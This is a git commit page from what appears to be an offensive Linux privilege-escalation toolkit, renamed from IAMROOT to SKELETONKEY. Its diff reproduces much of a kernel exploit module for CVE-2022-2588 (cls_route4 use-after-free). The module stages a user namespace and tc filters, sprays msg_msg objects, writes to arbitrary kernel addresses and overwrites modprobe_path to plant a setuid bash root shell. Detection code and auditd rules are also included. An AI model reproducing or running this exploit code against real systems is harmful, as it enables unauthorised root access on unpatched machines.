rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
## IAMROOT role
## SKELETONKEY role
The module uses `unshare(USER|NET)`, brings up a dummy interface,
creates an htb qdisc + class, adds a `route4` filter, then deletes
@@ -1,12 +0,0 @@
/*
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
*/
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
#define CLS_ROUTE4_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cls_route4_module;
#endif
@@ -1,5 +1,5 @@
/*
* cls_route4_cve_2022_2588 IAMROOT module
* cls_route4_cve_2022_2588 SKELETONKEY module
*
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
* is removed, the corresponding hashtable bucket may keep a stale
@@ -38,7 +38,7 @@
* - iproute2 `tc` binary present (used for filter add/del)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -106,12 +106,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug-introduction predates anything we'd reasonably scan; if the
@@ -122,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Module + userns preconditions. */
@@ -145,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -184,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
* specific to be portable. If a dmesg KASAN message or oops is
* observed by the parent we return EXPLOIT_OK to reflect the empirical
* UAF win. The fallback also leaves a one-line breadcrumb in
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
*/
#define SPRAY_MSG_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
#define DUMMY_IF "iamroot0"
#define DUMMY_IF "skeletonkey0"
struct ipc_payload {
long mtype;
@@ -199,7 +199,7 @@ struct ipc_payload {
static int run_cmd(const char *cmd)
{
/* Quiet wrapper so noise doesn't drown the iamroot log. */
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
char shell[1024];
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
return system(shell);
@@ -305,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
/* Pattern that's distinctive in KASAN/oops dumps. */
memset(p.buf, 0x41, sizeof p.buf);
/* First 8 bytes: a recognizable cookie. */
memcpy(p.buf, "IAMROOT4", 8);
memcpy(p.buf, "SKELETONKEY4", 8);
int created = 0;
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -349,7 +349,7 @@ static void trigger_classify(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
const char msg[] = "iamroot-cls_route4-classify";
const char msg[] = "skeletonkey-cls_route4-classify";
/* A handful of packets, in case the first lookup didn't traverse
* the freed bucket. */
for (int i = 0; i < 8; i++) {
@@ -397,7 +397,7 @@ static long slab_active_kmalloc_1k(void)
*
* The implementation below takes the narrow-but-real path that the
* brief explicitly permits and that xtcompat established as the
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
* whose payload encodes `kaddr` at every plausible offset for the
* route4_filtertcf_protoops layout, re-fire classify, and let the
* shared finisher's sentinel file decide if a write actually landed.
@@ -427,7 +427,7 @@ struct cls_route4_arb_ctx {
* is idempotent inside our private netns. */
bool dangling_ready;
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
int arb_calls;
int arb_landed;
};
@@ -487,7 +487,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
return sent;
}
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
* vulnerable kernel; structurally inert (returns -1) if the dangling
* filter setup is gone or the spray fails. Returns 0 to let the
* shared finisher's sentinel-file check decide if the write actually
@@ -548,43 +548,43 @@ static int cls4_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cls_route4_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cls_route4_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cls_route4: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!have_tc() || !have_ip()) {
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
"cannot exploit\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("cls_route4");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("cls_route4");
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
@@ -607,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -652,7 +652,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
/* Best-effort empirical witness write — picked up by --cleanup
* and by post-run triage. */
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
if (log) {
fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
@@ -674,18 +674,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* kernel a second chance at the refilled slot the
* dangling filter is still in place from above. */
arb_ctx.dangling_ready = true;
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
cls4_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_msg_msg(arb_ctx.queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
@@ -709,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t w = waitpid(child, &status, 0);
if (w < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -724,14 +724,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* claim root we haven't escalated. */
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
return IAMROOT_EXPLOIT_FAIL;
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -740,19 +740,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
"may be absent or filter type unsupported\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
@@ -760,34 +760,34 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
"(no --full-chain); returning EXPLOIT_FAIL.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
"(setuid bash placed; sentinel matched)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
"either the kernel is patched, the spray didn't land,\n"
" or the fake-ops deref didn't hit the route the\n"
" finisher's sentinel polls for. See "
"/tmp/iamroot-cls_route4.log + dmesg.\n");
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -797,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
* the exploit with extended privileges (e.g. as root) and the
* interface lingered in init_net. */
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n"
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
const struct iamroot_module cls_route4_module = {
const struct skeletonkey_module cls_route4_module = {
.name = "cls_route4",
.cve = "CVE-2022-2588",
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -827,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
.detect_falco = NULL,
};
void iamroot_register_cls_route4(void)
void skeletonkey_register_cls_route4(void)
{
iamroot_register(&cls_route4_module);
skeletonkey_register(&cls_route4_module);
}
@@ -0,0 +1,12 @@
/*
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
*/
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cls_route4_module;
#endif